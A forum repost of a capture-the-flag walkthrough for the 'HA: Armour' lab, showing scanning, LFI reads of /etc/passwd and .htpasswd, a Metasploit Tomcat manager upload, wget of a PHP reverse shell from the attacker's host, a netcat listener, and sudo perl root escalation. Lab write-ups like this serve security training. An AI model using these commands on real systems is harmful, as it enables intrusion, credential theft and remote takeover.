• We just launched and are currently in beta. Join us as we build and grow the community.

HA: Armour Walkthrough

IphoneHome

Code Reviewer
I Rep
0
0
0
Rep
0
I Vouches
0
0
0
Vouches
0
Posts
172
Likes
141
Bits
2 MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1 300 XP
This is our Walkthrough for ā€œHA: Armourā€ and this CTF is designed by Hacking Articles Team šŸ˜Š, hope you will enjoy this.

TASK: Klaw has stolen some armours from the Avengers Super-Secret Base. Falcon has checked the manifest, the following things are unaccountable:

  • HulkBuster Armour
  • Spiderman Armour
  • Ant-Man Armour
  • Black Panther Armour
  • Iron Man Armour

Klaw hides all these armours and now itā€™s up to you. Can you use your penetration skills to recover them all?

Hint:
P.S. Klaw has a habit of dividing his passwords into 3 parts and save them at different locations. So, if you get some combine them to move forward.


Level: Intermediate

You can download this lab from here.

Letā€™s Begin!!

Penetration Testing Methodologies

Scanning Network

  • Netdiscover
  • Nmap

Enumeration

  • SSH
  • Abusing HTTP
  • Tftp
  • Dirb
  • LFI

Exploiting

  • Abusing Tomcat Manager (Metasploit)
  • Internal Recon

Privilege Escalation

  • Abusingconf
  • Abusing sudo rights

Scanning Network

Firsts of all try to identify our target and for this use the following command:

Code:
netdiscover

1.png


After you have identified your target using the above command you can start with our second step by scanning the target. You can use nmap to scan the target using the following command:

Code:
nmap -p- -A 192.168.1.101

2.png


Enumeration

With the help of scanning, you can find that port numbers 80, 8009, 8080 for HTTP (apache http, apache Jserv & apache tomcat) & 65534 for SSH are opened.

You will find the first ā€œHulkBusterā€ armour when connecting to SSH via port 65534 and the first hint: the Olympics as mentioned above for Klaw.

Code:
ssh 192.168.1.101 -p65534

3.png


After getting HulkBuster, it was time to dig out another Armor so you can connect to port 80 through a web browser.

Hmmmm! Well, the web page described the Armor Collection of Marvelā€™s famous characters; but you need to dig out more so that you can get a hint.

4.png


Ahh!! So, as you can see from the image given below that from inside the source code we found 3 things i.e. ā€œarmour, 69 and notes.txtā€ from inside the comment.

Letā€™s check each hint one-by-one and identify what it says.

5.png


Assuming 69 could be a hint for any port, therefore using nmap again to decide whether or not a service is running on port 69. Therefore, we scan for the UDP protocol and give the following command:

Code:
nmap -sU -p69 192.168.1.101

6.png


Now, once you know that port 69 is open for TFTP operation, you can try connecting to TFTP and check the list of available files and directories.

Here you find the notes.txt file, which was mentioned above, so you need to download this file to your local machine.

Code:
tftp 192.168.1.101
get notes.txt

7.png


From inside notes.txt file, you will get the second amour which is for ā€œSpidermanā€ and 2nd Hint:maybeevena which was hidden by Klaw.

8.png


At present, you must be having two amours and two hints that we have found till now. To identify third amour or hint we are going to use dirb for brute-forcing web directory to enumerate all files with .php extension.

Code:
dirb http://192.168.1.101 -X .php

With the of dirb, you may find a URL for
/file.php
page as shown in the below image.

Code:
http://192.168.1.101/file.php

9.png


But when you browse the /file.php page, youā€™ll see a white colour page thatā€™s left blank, and itā€™s seriously questioning why the author has left file.php blank.

And if you are aware of the Vulnerabilities web application and its Penetration Testing, then you would have known what kind of misconfiguration it is.

10.png


In such a case, it is likely that the host system or application is vulnerable to LFI (Local File Inclusion).

So, without wasting your time, you can try to access /etc/passwd like we did here and say itā€™s vulnerable to LFI.

11.png


When you dig more and more than inside /etc/apache2/.htpasswd file you will find the third amour which for ā€œAnt-Manā€ and along with this 3rd hint: StarBucks.

Now letā€™s recall the hint given by the author:


P.S. Klaw has a habit of dividing his passwords into 3 parts and save them at different locations. So, if you get some combine them to move forward.


So, as you know that till now, we have found all 3 parts of the password as Hint1, Hint2 and Hint3; letā€™s combined them and identify how it will help to move ahead.

Code:
http://192.168.1.101/file.php?file=/etc/apache2/.htpasswd

12.png


After combining Hint1, Hint2 and Hint3 you will have a password:

Code:
TheOlympicsmaybeevenaStarBucks

As you know port 8080 is available for Apache tomcat manager and maybe can login into tomcat server with the help of this password.

13.png


Exploiting Tomcat Manager

For login into tomcat manager we use the following credential:

Username: Amour (found above from inside source code)

Password: TheOlympicsmaybeevenastarBucks

14.png


I hope you all are aware of Tomcat manager exploit available in Metasploit framework, if not then read the complete article from here.

So, without wasting time we are straight away logged into Tomcat Server using Metasploit Tomcat Manager using the above credentials for Tomcat Server Login.

Code:
use exploit/multi/http/tomcat_mgr_upload
set rhosts 192.168.1.101
set rport 8080
set httpusername armour
set httppassword TheOlympicsmaybeevenastarBucks
exploit

Booom!! Our favourite meterpreter session is all here, letā€™s go for Post enumeration.

Code:
netstat -antp

If you check your local network static for TCP and UDP connections, youā€™ll see that thereā€™s something running 8081, and even nmap doesnā€™t display anything for this. With the aid of the meterpreter, we have forwarded service port 8081 to our local host:8081.

Code:
portfwd add -l 8081 -p 8081 -r 127.0.0.1

15.png


Once you have to forward the service over your local machine then you can explore it the web browser as we have done here.

Code:
http://127.0.0.1:8081

This will give you the fourth amour for ā€œBlack-Pantherā€ šŸ˜Ž

16.png


Privilege Escalation

This lab is like a Rabbit hole where Enumeration is key for identifying loopholes or further hint. Similarly, we enumerate that /apache2.conf and /html owns writable permission.

17.png


Since we know apache2.conf has all permission, therefore, weā€™ll try to edit this file for the escalating privilege of another user.

18.png


This machine has a user profile named as ā€œaartiā€ that we had enumerated through /etc/passwd and now try to add a user:aarti and group:aarti inside the /etc/apache2/apache2.conf so that we will leverage it for privilege escalation. So, the idea is when we restart the apache service it will get executed with aarti user privileges.

So, we have simple copied the entire content of the apache2.conf file in our local machine and made changes as said above.

19.png


Then download the modified apache2.conf from your local machine into the host machine and replaced the original apache2.conf file as we have done here.

20.png


As you know the /html has full permission which means inject the php backdoor in this web directory. Parallelly we grabbed a php-reverse-shell from /usr/share/webshells/php and modified the listener IP as ours and named it as shell.php.

21.png


Then downloaded the shell into /var/www/html folder so that we can access it through the browser.

To make the apache service run as aarti user we have to restart the apache service, thus reboot the machine.

Code:
cd /var/www/html
wget http://192.168.1.102:8000/shell.php

22.png


After reboot is complete, we just executed the shell.php script in the browser and at the same time started a netcat listener on your kali.

Code:
nc -lvp 1234
http://192.168.1.101/shell.php

23.png


After some time, we got a reverse netcat shell on our local machine for user aarti. Now letā€™s check sudo rights for this user.

Code:
sudo -l

Here you can observe that it shows that user aarti has sudo right to run Perl application as root which means we can try to abuse its sudo for escalating root privilege.

Code:
sudo perl -e 'exec "/bin/bash";'

Boom!! We have the root shell access, letā€™s find the fifth and final amour. You can find it inside the /root directory within final.txt.

Code:
cd /root
cat final.txt

And the final amour is my favourite ā€œIron-manā€ šŸ¤—

24.png


Author: Kavish Tyagi is a Cybersecurity enthusiast and Researcher in the field of WebApp Penetration testing. Contact here
 

439,009

316,008

316,017

Top